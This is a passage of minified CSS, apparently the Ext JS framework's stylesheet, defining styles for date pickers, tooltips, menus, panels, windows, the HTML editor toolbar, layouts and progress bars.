a,td.x-date-mp-year a { display:block; padding:2px 4px; text-decoration:none; text-align:center; } td.x-date-mp-month a:hover,td.x-date-mp-year a:hover { text-decoration:none; cursor:pointer; } td.x-date-mp-sel a { padding:1px 3px; background: repeat-x left top; border:1px solid; } .x-date-mp-ybtn a { overflow:hidden; width:15px; height:15px; cursor:pointer; background:transparent no-repeat; display:block; margin:0 auto; } .x-date-mp-ybtn a.x-date-mp-next { background-position:0 -120px; } .x-date-mp-ybtn a.x-date-mp-next:hover { background-position:-15px -120px; } .x-date-mp-ybtn a.x-date-mp-prev { background-position:0 -105px; } .x-date-mp-ybtn a.x-date-mp-prev:hover { background-position:-15px -105px; } .x-date-mp-ybtn { text-align:center; } td.x-date-mp-sep { border-right:1px solid; }.x-tip{ position: absolute; top: 0; left:0; visibility: hidden; z-index: 20002; border:0 none; } .x-tip .x-tip-close{ height: 15px; float:right; width: 15px; margin:0 0 2px 2px; cursor:pointer; display:none; } .x-tip .x-tip-tc { background: transparent no-repeat 0 -62px; padding-top:3px; overflow:hidden; zoom:1; } .x-tip .x-tip-tl { background: transparent no-repeat 0 0; padding-left:6px; overflow:hidden; zoom:1; } .x-tip .x-tip-tr { background: transparent no-repeat right 0; padding-right:6px; overflow:hidden; zoom:1; } .x-tip .x-tip-bc { background: transparent no-repeat 0 -121px; height:3px; overflow:hidden; } .x-tip .x-tip-bl { background: transparent no-repeat 0 -59px; padding-left:6px; zoom:1; } .x-tip .x-tip-br { background: transparent no-repeat right -59px; padding-right:6px; zoom:1; } .x-tip .x-tip-mc { border:0 none; } .x-tip .x-tip-ml { background: no-repeat 0 -124px; padding-left:6px; zoom:1; } .x-tip .x-tip-mr { background: transparent no-repeat right -124px; padding-right:6px; zoom:1; } .ext-ie .x-tip .x-tip-header,.ext-ie .x-tip .x-tip-tc { font-size:0; line-height:0; } .ext-border-box .x-tip .x-tip-header, .ext-border-box .x-tip .x-tip-tc{ line-height: 1px; } .x-tip .x-tip-header-text { padding:0; margin:0 0 2px 0; } .x-tip .x-tip-body { margin:0 !important; line-height:14px; padding:0; } .x-tip .x-tip-body .loading-indicator { margin:0; } .x-tip-draggable .x-tip-header,.x-tip-draggable .x-tip-header-text { cursor:move; } .x-form-invalid-tip .x-tip-tc { background: repeat-x 0 -12px; padding-top:6px; } .x-form-invalid-tip .x-tip-bc { background: repeat-x 0 -18px; height:6px; } .x-form-invalid-tip .x-tip-bl { background: no-repeat 0 -6px; } .x-form-invalid-tip .x-tip-br { background: no-repeat right -6px; } .x-form-invalid-tip .x-tip-body { padding:2px; } .x-form-invalid-tip .x-tip-body { padding-left:24px; background:transparent no-repeat 2px 2px; } .x-tip-anchor { position: absolute; width: 9px; height: 10px; overflow:hidden; background: transparent no-repeat 0 0; zoom:1; } .x-tip-anchor-bottom { background-position: -9px 0; } .x-tip-anchor-right { background-position: -18px 0; width: 10px; } .x-tip-anchor-left { background-position: -28px 0; width: 10px; }.x-menu { z-index: 15000; zoom: 1; background: repeat-y; } .x-menu-floating{ border: 1px solid; } .x-menu a { text-decoration: none !important; } .ext-ie .x-menu { zoom:1; overflow:hidden; } .x-menu-list{ padding: 2px; background-color:transparent; border:0 none; overflow:hidden; overflow-y: hidden; } .ext-strict .ext-ie .x-menu-list{ position: relative; } .x-menu li{ line-height:100%; } .x-menu li.x-menu-sep-li{ font-size:1px; line-height:1px; } .x-menu-list-item{ white-space: nowrap; display:block; padding:1px; } .x-menu-item{ -moz-user-select: none; -khtml-user-select:none; -webkit-user-select:ignore; } .x-menu-item-arrow{ background:transparent no-repeat right; } .x-menu-sep { display:block; font-size:1px; line-height:1px; margin: 2px 3px; border-bottom:1px solid; overflow:hidden; } .x-menu-focus { position:absolute; left:-1px; top:-1px; width:1px; height:1px; line-height:1px; font-size:1px; -moz-outline:0 none; outline:0 none; -moz-user-select: none; -khtml-user-select:none; -webkit-user-select:ignore; overflow:hidden; display:block; } a.x-menu-item { cursor: pointer; display: block; line-height: 16px; outline-color: -moz-use-text-color; outline-style: none; outline-width: 0; padding: 3px 21px 3px 27px; position: relative; text-decoration: none; white-space: nowrap; } .x-menu-item-active { background-repeat: repeat-x; background-position: left bottom; border-style:solid; border-width: 1px 0; margin:0 1px; padding: 0; } .x-menu-item-active a.x-menu-item { border-style:solid; border-width:0 1px; margin:0 -1px; } .x-menu-item-icon { border: 0 none; height: 16px; padding: 0; vertical-align: top; width: 16px; position: absolute; left: 3px; top: 3px; margin: 0; background-position:center; } .ext-ie .x-menu-item-icon { left: -24px; } .ext-strict .x-menu-item-icon { left: 3px; } .ext-ie6 .x-menu-item-icon { left: -24px; } .ext-ie .x-menu-item-icon { vertical-align: middle; } .x-menu-check-item .x-menu-item-icon{ background: transparent no-repeat center; } .x-menu-group-item .x-menu-item-icon{ background-color: transparent; } .x-menu-item-checked .x-menu-group-item .x-menu-item-icon{ background: transparent no-repeat center; } .x-date-menu .x-menu-list{ padding: 0; } .x-menu-date-item{ padding:0; } .x-menu .x-color-palette, .x-menu .x-date-picker{ margin-left: 26px; margin-right:4px; } .x-menu .x-date-picker{ border:1px solid; margin-top:2px; margin-bottom:2px; } .x-menu-plain .x-color-palette, .x-menu-plain .x-date-picker{ margin: 0; border: 0 none; } .x-date-menu { padding:0 !important; } /* * fixes separator visibility problem in IE 6 */ .ext-strict .ext-ie6 .x-menu-sep-li { padding: 3px 4px; } .ext-strict .ext-ie6 .x-menu-sep { margin: 0; height: 1px; } /* * Fixes an issue with "fat" separators in webkit */ .ext-webkit .x-menu-sep{ height: 1px; } /* * Ugly mess to remove the white border under the picker */ .ext-ie .x-date-menu{ height: 199px; } .ext-strict .ext-ie .x-date-menu, .ext-border-box .ext-ie8 .x-date-menu{ height: 197px; } .ext-strict .ext-ie7 .x-date-menu{ height: 195px; } .ext-strict .ext-ie8 .x-date-menu{ height: auto; } .x-cycle-menu .x-menu-item-checked { border:1px dotted !important; padding:0; } .x-menu .x-menu-scroller { width: 100%; background-repeat:no-repeat; background-position:center; height:8px; line-height: 8px; cursor:pointer; margin: 0; padding: 0; } .x-menu .x-menu-scroller-active{ height: 6px; line-height: 6px; } .x-menu-list-item-indent{ padding-left: 27px; }/* Creates rounded, raised boxes like on the Ext website - the markup isn't pretty:

YOUR TITLE HERE (optional)

YOUR CONTENT HERE
*/ .x-box-tl { background: transparent no-repeat 0 0; zoom:1; } .x-box-tc { height: 8px; background: transparent repeat-x 0 0; overflow: hidden; } .x-box-tr { background: transparent no-repeat right -8px; } .x-box-ml { background: transparent repeat-y 0; padding-left: 4px; overflow: hidden; zoom:1; } .x-box-mc { background: repeat-x 0 -16px; padding: 4px 10px; } .x-box-mc h3 { margin: 0 0 4px 0; zoom:1; } .x-box-mr { background: transparent repeat-y right; padding-right: 4px; overflow: hidden; } .x-box-bl { background: transparent no-repeat 0 -16px; zoom:1; } .x-box-bc { background: transparent repeat-x 0 -8px; height: 8px; overflow: hidden; } .x-box-br { background: transparent no-repeat right -24px; } .x-box-tl, .x-box-bl { padding-left: 8px; overflow: hidden; } .x-box-tr, .x-box-br { padding-right: 8px; overflow: hidden; }.x-combo-list { border:1px solid; zoom:1; overflow:hidden; } .x-combo-list-inner { overflow:auto; position:relative; /* for calculating scroll offsets */ zoom:1; overflow-x:hidden; } .x-combo-list-hd { border-bottom:1px solid; padding:3px; } .x-resizable-pinned .x-combo-list-inner { border-bottom:1px solid; } .x-combo-list-item { padding:2px; border:1px solid; white-space: nowrap; overflow:hidden; text-overflow: ellipsis; } .x-combo-list .x-combo-selected{ border:1px dotted !important; cursor:pointer; } .x-combo-list .x-toolbar { border-top:1px solid; border-bottom:0 none; }.x-panel { border-style: solid; border-width:0; } .x-panel-header { overflow:hidden; zoom:1; padding:5px 3px 4px 5px; border:1px solid; line-height: 15px; background: transparent repeat-x 0 -1px; } .x-panel-body { border:1px solid; border-top:0 none; overflow:hidden; position: relative; /* added for item scroll positioning */ } .x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar { border:1px solid; border-top:0 none; overflow:hidden; padding:2px; } .x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar { border-top:1px solid; border-bottom: 0 none; } .x-panel-body-noheader, .x-panel-mc .x-panel-body { border-top:1px solid; } .x-panel-header { overflow:hidden; zoom:1; } .x-panel-tl .x-panel-header { padding:5px 0 4px 0; border:0 none; background:transparent no-repeat; } .x-panel-tl .x-panel-icon, .x-window-tl .x-panel-icon { padding-left:20px !important; background-repeat:no-repeat; background-position:0 4px; zoom:1; } .x-panel-inline-icon { width:16px; height:16px; background-repeat:no-repeat; background-position:0 0; vertical-align:middle; margin-right:4px; margin-top:-1px; margin-bottom:-1px; } .x-panel-tc { background: transparent repeat-x 0 0; overflow:hidden; } /* fix ie7 strict mode bug */ .ext-strict .ext-ie7 .x-panel-tc { overflow: visible; } .x-panel-tl { background: transparent no-repeat 0 0; padding-left:6px; zoom:1; border-bottom:1px solid; } .x-panel-tr { background: transparent no-repeat right 0; zoom:1; padding-right:6px; } .x-panel-bc { background: transparent repeat-x 0 bottom; zoom:1; } .x-panel-bc .x-panel-footer { zoom:1; } .x-panel-bl { background: transparent no-repeat 0 bottom; padding-left:6px; zoom:1; } .x-panel-br { background: transparent no-repeat right bottom; padding-right:6px; zoom:1; } .x-panel-mc { border:0 none; padding:0; margin:0; padding-top:6px; } .x-panel-mc .x-panel-body { background-color:transparent; border: 0 none; } .x-panel-ml { background: repeat-y 0 0; padding-left:6px; zoom:1; } .x-panel-mr { background: transparent repeat-y right 0; padding-right:6px; zoom:1; } .x-panel-bc .x-panel-footer { padding-bottom:6px; } .x-panel-nofooter .x-panel-bc, .x-panel-nofooter .x-window-bc { height:6px; font-size:0; line-height:0; } .x-panel-bwrap { overflow:hidden; zoom:1; left:0; top:0; } .x-panel-body { overflow:hidden; zoom:1; } .x-panel-collapsed .x-resizable-handle{ display:none; } .ext-gecko .x-panel-animated div { overflow:hidden !important; } /* Plain */ .x-plain-body { overflow:hidden; } .x-plain-bbar .x-toolbar { overflow:hidden; padding:2px; } .x-plain-tbar .x-toolbar { overflow:hidden; padding:2px; } .x-plain-bwrap { overflow:hidden; zoom:1; } .x-plain { overflow:hidden; } /* Tools */ .x-tool { overflow:hidden; width:15px; height:15px; float:right; cursor:pointer; background:transparent no-repeat; margin-left:2px; } /* expand / collapse tools */ .x-tool-toggle { background-position:0 -60px; } .x-tool-toggle-over { background-position:-15px -60px; } .x-panel-collapsed .x-tool-toggle { background-position:0 -75px; } .x-panel-collapsed .x-tool-toggle-over { background-position:-15px -75px; } .x-tool-close { background-position:0 -0; } .x-tool-close-over { background-position:-15px 0; } .x-tool-minimize { background-position:0 -15px; } .x-tool-minimize-over { background-position:-15px -15px; } .x-tool-maximize { background-position:0 -30px; } .x-tool-maximize-over { background-position:-15px -30px; } .x-tool-restore { background-position:0 -45px; } .x-tool-restore-over { background-position:-15px -45px; } .x-tool-gear { background-position:0 -90px; } .x-tool-gear-over { background-position:-15px -90px; } .x-tool-prev { background-position:0 -105px; } .x-tool-prev-over { background-position:-15px -105px; } .x-tool-next { background-position:0 -120px; } .x-tool-next-over { background-position:-15px -120px; } .x-tool-pin { background-position:0 -135px; } .x-tool-pin-over { background-position:-15px -135px; } .x-tool-unpin { background-position:0 -150px; } .x-tool-unpin-over { background-position:-15px -150px; } .x-tool-right { background-position:0 -165px; } .x-tool-right-over { background-position:-15px -165px; } .x-tool-left { background-position:0 -180px; } .x-tool-left-over { background-position:-15px -180px; } .x-tool-down { background-position:0 -195px; } .x-tool-down-over { background-position:-15px -195px; } .x-tool-up { background-position:0 -210px; } .x-tool-up-over { background-position:-15px -210px; } .x-tool-refresh { background-position:0 -225px; } .x-tool-refresh-over { background-position:-15px -225px; } .x-tool-plus { background-position:0 -240px; } .x-tool-plus-over { background-position:-15px -240px; } .x-tool-minus { background-position:0 -255px; } .x-tool-minus-over { background-position:-15px -255px; } .x-tool-search { background-position:0 -270px; } .x-tool-search-over { background-position:-15px -270px; } .x-tool-save { background-position:0 -285px; } .x-tool-save-over { background-position:-15px -285px; } .x-tool-help { background-position:0 -300px; } .x-tool-help-over { background-position:-15px -300px; } .x-tool-print { background-position:0 -315px; } .x-tool-print-over { background-position:-15px -315px; } .x-tool-expand { background-position:0 -330px; } .x-tool-expand-over { background-position:-15px -330px; } .x-tool-collapse { background-position:0 -345px; } .x-tool-collapse-over { background-position:-15px -345px; } .x-tool-resize { background-position:0 -360px; } .x-tool-resize-over { background-position:-15px -360px; } .x-tool-move { background-position:0 -375px; } .x-tool-move-over { background-position:-15px -375px; } /* Ghosting */ .x-panel-ghost { z-index:12000; overflow:hidden; position:absolute; left:0;top:0; opacity:.65; -moz-opacity:.65; filter:alpha(opacity=65); } .x-panel-ghost ul { margin:0; padding:0; overflow:hidden; font-size:0; line-height:0; border:1px solid; border-top:0 none; display:block; } .x-panel-ghost * { cursor:move !important; } .x-panel-dd-spacer { border:2px dashed; } /* Buttons */ .x-panel-btns { padding:5px; overflow:hidden; } .x-panel-btns td.x-toolbar-cell{ padding:3px; } .x-panel-btns .x-btn-focus .x-btn-left{ background-position:0 -147px; } .x-panel-btns .x-btn-focus .x-btn-right{ background-position:0 -168px; } .x-panel-btns .x-btn-focus .x-btn-center{ background-position:0 -189px; } .x-panel-btns .x-btn-over .x-btn-left{ background-position:0 -63px; } .x-panel-btns .x-btn-over .x-btn-right{ background-position:0 -84px; } .x-panel-btns .x-btn-over .x-btn-center{ background-position:0 -105px; } .x-panel-btns .x-btn-click .x-btn-center{ background-position:0 -126px; } .x-panel-btns .x-btn-click .x-btn-right{ background-position:0 -84px; } .x-panel-btns .x-btn-click .x-btn-left{ background-position:0 -63px; } .x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{ white-space: nowrap; } /** * W3C Suggested Default style sheet for HTML 4 * http://www.w3.org/TR/CSS21/sample.html * * Resets for Ext.Panel @cfg normal: true */ .x-panel-reset .x-panel-body html, .x-panel-reset .x-panel-body address, .x-panel-reset .x-panel-body blockquote, .x-panel-reset .x-panel-body body, .x-panel-reset .x-panel-body dd, .x-panel-reset .x-panel-body div, .x-panel-reset .x-panel-body dl, .x-panel-reset .x-panel-body dt, .x-panel-reset .x-panel-body fieldset, .x-panel-reset .x-panel-body form, .x-panel-reset .x-panel-body frame, frameset, .x-panel-reset .x-panel-body h1, .x-panel-reset .x-panel-body h2, .x-panel-reset .x-panel-body h3, .x-panel-reset .x-panel-body h4, .x-panel-reset .x-panel-body h5, .x-panel-reset .x-panel-body h6, .x-panel-reset .x-panel-body noframes, .x-panel-reset .x-panel-body ol, .x-panel-reset .x-panel-body p, .x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body center, .x-panel-reset .x-panel-body dir, .x-panel-reset .x-panel-body hr, .x-panel-reset .x-panel-body menu, .x-panel-reset .x-panel-body pre { display: block } .x-panel-reset .x-panel-body li { display: list-item } .x-panel-reset .x-panel-body head { display: none } .x-panel-reset .x-panel-body table { display: table } .x-panel-reset .x-panel-body tr { display: table-row } .x-panel-reset .x-panel-body thead { display: table-header-group } .x-panel-reset .x-panel-body tbody { display: table-row-group } .x-panel-reset .x-panel-body tfoot { display: table-footer-group } .x-panel-reset .x-panel-body col { display: table-column } .x-panel-reset .x-panel-body colgroup { display: table-column-group } .x-panel-reset .x-panel-body td, .x-panel-reset .x-panel-body th { display: table-cell } .x-panel-reset .x-panel-body caption { display: table-caption } .x-panel-reset .x-panel-body th { font-weight: bolder; text-align: center } .x-panel-reset .x-panel-body caption { text-align: center } .x-panel-reset .x-panel-body body { margin: 8px } .x-panel-reset .x-panel-body h1 { font-size: 2em; margin: .67em 0 } .x-panel-reset .x-panel-body h2 { font-size: 1.5em; margin: .75em 0 } .x-panel-reset .x-panel-body h3 { font-size: 1.17em; margin: .83em 0 } .x-panel-reset .x-panel-body h4, .x-panel-reset .x-panel-body p, .x-panel-reset .x-panel-body blockquote, .x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body fieldset, .x-panel-reset .x-panel-body form, .x-panel-reset .x-panel-body ol, .x-panel-reset .x-panel-body dl, .x-panel-reset .x-panel-body dir, .x-panel-reset .x-panel-body menu { margin: 1.12em 0 } .x-panel-reset .x-panel-body h5 { font-size: .83em; margin: 1.5em 0 } .x-panel-reset .x-panel-body h6 { font-size: .75em; margin: 1.67em 0 } .x-panel-reset .x-panel-body h1, .x-panel-reset .x-panel-body h2, .x-panel-reset .x-panel-body h3, .x-panel-reset .x-panel-body h4, .x-panel-reset .x-panel-body h5, .x-panel-reset .x-panel-body h6, .x-panel-reset .x-panel-body b, .x-panel-reset .x-panel-body strong { font-weight: bolder } .x-panel-reset .x-panel-body blockquote { margin-left: 40px; margin-right: 40px } .x-panel-reset .x-panel-body i, .x-panel-reset .x-panel-body cite, .x-panel-reset .x-panel-body em, .x-panel-reset .x-panel-body var, .x-panel-reset .x-panel-body address { font-style: italic } .x-panel-reset .x-panel-body pre, .x-panel-reset .x-panel-body tt, .x-panel-reset .x-panel-body code, .x-panel-reset .x-panel-body kbd, .x-panel-reset .x-panel-body samp { font-family: monospace } .x-panel-reset .x-panel-body pre { white-space: pre } .x-panel-reset .x-panel-body button, .x-panel-reset .x-panel-body textarea, .x-panel-reset .x-panel-body input, .x-panel-reset .x-panel-body select { display: inline-block } .x-panel-reset .x-panel-body big { font-size: 1.17em } .x-panel-reset .x-panel-body small, .x-panel-reset .x-panel-body sub, .x-panel-reset .x-panel-body sup { font-size: .83em } .x-panel-reset .x-panel-body sub { vertical-align: sub } .x-panel-reset .x-panel-body sup { vertical-align: super } .x-panel-reset .x-panel-body table { border-spacing: 2px; } .x-panel-reset .x-panel-body thead, .x-panel-reset .x-panel-body tbody, .x-panel-reset .x-panel-body tfoot { vertical-align: middle } .x-panel-reset .x-panel-body td, .x-panel-reset .x-panel-body th { vertical-align: inherit } .x-panel-reset .x-panel-body s, .x-panel-reset .x-panel-body strike, .x-panel-reset .x-panel-body del { text-decoration: line-through } .x-panel-reset .x-panel-body hr { border: 1px inset } .x-panel-reset .x-panel-body ol, .x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body dir, .x-panel-reset .x-panel-body menu, .x-panel-reset .x-panel-body dd { margin-left: 40px } .x-panel-reset .x-panel-body ul, .x-panel-reset .x-panel-body menu, .x-panel-reset .x-panel-body dir { list-style-type: disc;} .x-panel-reset .x-panel-body ol { list-style-type: decimal } .x-panel-reset .x-panel-body ol ul, .x-panel-reset .x-panel-body ul ol, .x-panel-reset .x-panel-body ul ul, .x-panel-reset .x-panel-body ol ol { margin-top: 0; margin-bottom: 0 } .x-panel-reset .x-panel-body u, .x-panel-reset .x-panel-body ins { text-decoration: underline } .x-panel-reset .x-panel-body br:before { content: "\A" } .x-panel-reset .x-panel-body :before, .x-panel-reset .x-panel-body :after { white-space: pre-line } .x-panel-reset .x-panel-body center { text-align: center } .x-panel-reset .x-panel-body :link, .x-panel-reset .x-panel-body :visited { text-decoration: underline } .x-panel-reset .x-panel-body :focus { outline: invert dotted thin } /* Begin bidirectionality settings (do not change) */ .x-panel-reset .x-panel-body BDO[DIR="ltr"] { direction: ltr; unicode-bidi: bidi-override } .x-panel-reset .x-panel-body BDO[DIR="rtl"] { direction: rtl; unicode-bidi: bidi-override } .x-window { zoom:1; } .x-window .x-window-handle { opacity:0; -moz-opacity:0; filter:alpha(opacity=0); } .x-window-proxy { border:1px solid; z-index:12000; overflow:hidden; position:absolute; left:0;top:0; display:none; opacity:.5; -moz-opacity:.5; filter:alpha(opacity=50); } .x-window-header { overflow:hidden; zoom:1; } .x-window-bwrap { z-index:1; position:relative; zoom:1; left:0;top:0; } .x-window-tl .x-window-header { padding:5px 0 4px 0; } .x-window-header-text { cursor:pointer; } .x-window-tc { background: transparent repeat-x 0 0; overflow:hidden; zoom:1; } .x-window-tl { background: transparent no-repeat 0 0; padding-left:6px; zoom:1; z-index:1; position:relative; } .x-window-tr { background: transparent no-repeat right 0; padding-right:6px; } .x-window-bc { background: transparent repeat-x 0 bottom; zoom:1; } .x-window-bc .x-window-footer { padding-bottom:6px; zoom:1; font-size:0; line-height:0; } .x-window-bl { background: transparent no-repeat 0 bottom; padding-left:6px; zoom:1; } .x-window-br { background: transparent no-repeat right bottom; padding-right:6px; zoom:1; } .x-window-mc { border:1px solid; padding:0; margin:0; } .x-window-ml { background: transparent repeat-y 0 0; padding-left:6px; zoom:1; } .x-window-mr { background: transparent repeat-y right 0; padding-right:6px; zoom:1; } .x-window-body { overflow:hidden; } .x-window-bwrap { overflow:hidden; } .x-window-maximized .x-window-bl, .x-window-maximized .x-window-br, .x-window-maximized .x-window-ml, .x-window-maximized .x-window-mr, .x-window-maximized .x-window-tl, .x-window-maximized .x-window-tr { padding:0; } .x-window-maximized .x-window-footer { padding-bottom:0; } .x-window-maximized .x-window-tc { padding-left:3px; padding-right:3px; } .x-window-maximized .x-window-mc { border-left:0 none; border-right:0 none; } .x-window-tbar .x-toolbar, .x-window-bbar .x-toolbar { border-left:0 none; border-right: 0 none; } .x-window-bbar .x-toolbar { border-top:1px solid; border-bottom:0 none; } .x-window-draggable, .x-window-draggable .x-window-header-text { cursor:move; } .x-window-maximized .x-window-draggable, .x-window-maximized .x-window-draggable .x-window-header-text { cursor:default; } .x-window-body { background-color:transparent; } .x-panel-ghost .x-window-tl { border-bottom:1px solid; } .x-panel-collapsed .x-window-tl { border-bottom:1px solid; } .x-window-maximized-ct { overflow:hidden; } .x-window-maximized .x-window-handle { display:none; } .x-window-sizing-ghost ul { border:0 none !important; } .x-dlg-focus{ -moz-outline:0 none; outline:0 none; width:0; height:0; overflow:hidden; position:absolute; top:0; left:0; } .ext-webkit .x-dlg-focus{ width: 1px; height: 1px; } .x-dlg-mask{ z-index:10000; display:none; position:absolute; top:0; left:0; -moz-opacity: 0.5; opacity:.50; filter: alpha(opacity=50); } body.ext-ie6.x-body-masked select { visibility:hidden; } body.ext-ie6.x-body-masked .x-window select { visibility:visible; } .x-window-plain .x-window-mc { border: 1px solid; } .x-window-plain .x-window-body { border: 1px solid; background:transparent !important; }.x-html-editor-wrap { border:1px solid; } .x-html-editor-tb .x-btn-text { background:transparent no-repeat; } .x-html-editor-tb .x-edit-bold, .x-menu-item img.x-edit-bold { background-position:0 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-italic, .x-menu-item img.x-edit-italic { background-position:-16px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-underline, .x-menu-item img.x-edit-underline { background-position:-32px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-forecolor, .x-menu-item img.x-edit-forecolor { background-position:-160px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-backcolor, .x-menu-item img.x-edit-backcolor { background-position:-176px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-justifyleft, .x-menu-item img.x-edit-justifyleft { background-position:-112px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-justifycenter, .x-menu-item img.x-edit-justifycenter { background-position:-128px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-justifyright, .x-menu-item img.x-edit-justifyright { background-position:-144px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-insertorderedlist, .x-menu-item img.x-edit-insertorderedlist { background-position:-80px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-insertunorderedlist, .x-menu-item img.x-edit-insertunorderedlist { background-position:-96px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-increasefontsize, .x-menu-item img.x-edit-increasefontsize { background-position:-48px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-decreasefontsize, .x-menu-item img.x-edit-decreasefontsize { background-position:-64px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-sourceedit, .x-menu-item img.x-edit-sourceedit { background-position:-192px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tb .x-edit-createlink, .x-menu-item img.x-edit-createlink { background-position:-208px 0; background-image:url(../images/default/editor/tb-sprite.gif); } .x-html-editor-tip .x-tip-bd .x-tip-bd-inner { padding:5px; padding-bottom:1px; } .x-html-editor-tb .x-toolbar { position:static !important; }.x-panel-noborder .x-panel-body-noborder { border-width:0; } .x-panel-noborder .x-panel-header-noborder { border-width:0 0 1px; border-style:solid; } .x-panel-noborder .x-panel-tbar-noborder .x-toolbar { border-width:0 0 1px; border-style:solid; } .x-panel-noborder .x-panel-bbar-noborder .x-toolbar { border-width:1px 0 0 0; border-style:solid; } .x-window-noborder .x-window-mc { border-width:0; } .x-window-plain .x-window-body-noborder { border-width:0; } .x-tab-panel-noborder .x-tab-panel-body-noborder { border-width:0; } .x-tab-panel-noborder .x-tab-panel-header-noborder { border-width: 0 0 1px 0; } .x-tab-panel-noborder .x-tab-panel-footer-noborder { border-width: 1px 0 0 0; } .x-tab-panel-bbar-noborder .x-toolbar { border-width: 1px 0 0 0; border-style:solid; } .x-tab-panel-tbar-noborder .x-toolbar { border-width:0 0 1px; border-style:solid; }.x-border-layout-ct { position: relative; } .x-border-panel { position:absolute; left:0; top:0; } .x-tool-collapse-south { background-position:0 -195px; } .x-tool-collapse-south-over { background-position:-15px -195px; } .x-tool-collapse-north { background-position:0 -210px; } .x-tool-collapse-north-over { background-position:-15px -210px; } .x-tool-collapse-west { background-position:0 -180px; } .x-tool-collapse-west-over { background-position:-15px -180px; } .x-tool-collapse-east { background-position:0 -165px; } .x-tool-collapse-east-over { background-position:-15px -165px; } .x-tool-expand-south { background-position:0 -210px; } .x-tool-expand-south-over { background-position:-15px -210px; } .x-tool-expand-north { background-position:0 -195px; } .x-tool-expand-north-over { background-position:-15px -195px; } .x-tool-expand-west { background-position:0 -165px; } .x-tool-expand-west-over { background-position:-15px -165px; } .x-tool-expand-east { background-position:0 -180px; } .x-tool-expand-east-over { background-position:-15px -180px; } .x-tool-expand-north, .x-tool-expand-south { float:right; margin:3px; } .x-tool-expand-east, .x-tool-expand-west { float:none; margin:3px 2px; } .x-accordion-hd .x-tool-toggle { background-position:0 -255px; } .x-accordion-hd .x-tool-toggle-over { background-position:-15px -255px; } .x-panel-collapsed .x-accordion-hd .x-tool-toggle { background-position:0 -240px; } .x-panel-collapsed .x-accordion-hd .x-tool-toggle-over { background-position:-15px -240px; } .x-accordion-hd { padding-top:4px; padding-bottom:3px; border-top:0 none; background: transparent repeat-x 0 -9px; } .x-layout-collapsed{ position:absolute; left:-10000px; top:-10000px; visibility:hidden; width:20px; height:20px; overflow:hidden; border:1px solid; z-index:20; } .ext-border-box .x-layout-collapsed{ width:22px; height:22px; } .x-layout-collapsed-over{ cursor:pointer; } .x-layout-collapsed-west .x-layout-collapsed-tools, .x-layout-collapsed-east .x-layout-collapsed-tools{ position:absolute; top:0; left:0; width:20px; height:20px; } .x-layout-split{ position:absolute; height:5px; width:5px; line-height:1px; font-size:1px; z-index:3; background-color:transparent; } /* IE6 strict won't drag w/out a color */ .ext-strict .ext-ie6 .x-layout-split{ background-color: #fff !important; filter: alpha(opacity=1); } .x-layout-split-h{ background-image:url(../images/default/s.gif); background-position: left; } .x-layout-split-v{ background-image:url(../images/default/s.gif); background-position: top; } .x-column-layout-ct { overflow:hidden; zoom:1; } .x-column { float:left; padding:0; margin:0; overflow:hidden; zoom:1; } .x-column-inner { overflow:hidden; zoom:1; } /* mini mode */ .x-layout-mini { position:absolute; top:0; left:0; display:block; width:5px; height:35px; cursor:pointer; opacity:.5; -moz-opacity:.5; filter:alpha(opacity=50); } .x-layout-mini-over, .x-layout-collapsed-over .x-layout-mini{ opacity:1; -moz-opacity:1; filter:none; } .x-layout-split-west .x-layout-mini { top:48%; } .x-layout-split-east .x-layout-mini { top:48%; } .x-layout-split-north .x-layout-mini { left:48%; height:5px; width:35px; } .x-layout-split-south .x-layout-mini { left:48%; height:5px; width:35px; } .x-layout-cmini-west .x-layout-mini { top:48%; } .x-layout-cmini-east .x-layout-mini { top:48%; } .x-layout-cmini-north .x-layout-mini { left:48%; height:5px; width:35px; } .x-layout-cmini-south .x-layout-mini { left:48%; height:5px; width:35px; } .x-layout-cmini-west, .x-layout-cmini-east { border:0 none; width:5px !important; padding:0; background-color:transparent; } .x-layout-cmini-north, .x-layout-cmini-south { border:0 none; height:5px !important; padding:0; background-color:transparent; } .x-viewport, .x-viewport body { margin: 0; padding: 0; border: 0 none; overflow: hidden; height: 100%; } .x-abs-layout-item { position:absolute; left:0; top:0; } .ext-ie input.x-abs-layout-item, .ext-ie textarea.x-abs-layout-item { margin:0; } .x-box-layout-ct { overflow:hidden; zoom:1; } .x-box-inner { overflow:hidden; zoom:1; position:relative; left:0; top:0; } .x-box-item { position:absolute; left:0; top:0; }.x-progress-wrap { border:1px solid; overflow:hidden; } .x-progress-inner { height:18px; background:repeat-x; position:relative; } .x-progress-bar { height:18px; float:left; width:0; background: repeat-x left center; border-top:1px solid; border-bottom:1px solid; border-right:1px solid; } .x-progress-text { padding:1px 5px; overflow:hidden; position:absolute; left:0; text-align:center; } .x-progress-text-back { line-height:16px; } .ext-ie .x-progress-text-back { line-height:15px; } .ext-strict .ext-ie7 .x-progress-text-back{ width: 100%; } .x-list-header{ background: repeat-x 0 bottom; cursor:default; zoom:1; height:22px; } .x-list-header-inner div { display:block; float:left; overflow:hidden; -o-text-overflow: ellipsis; text-overflow: ellipsis; white-space: nowrap; } .x-list-header-inner div em { display:block; border-left:1px 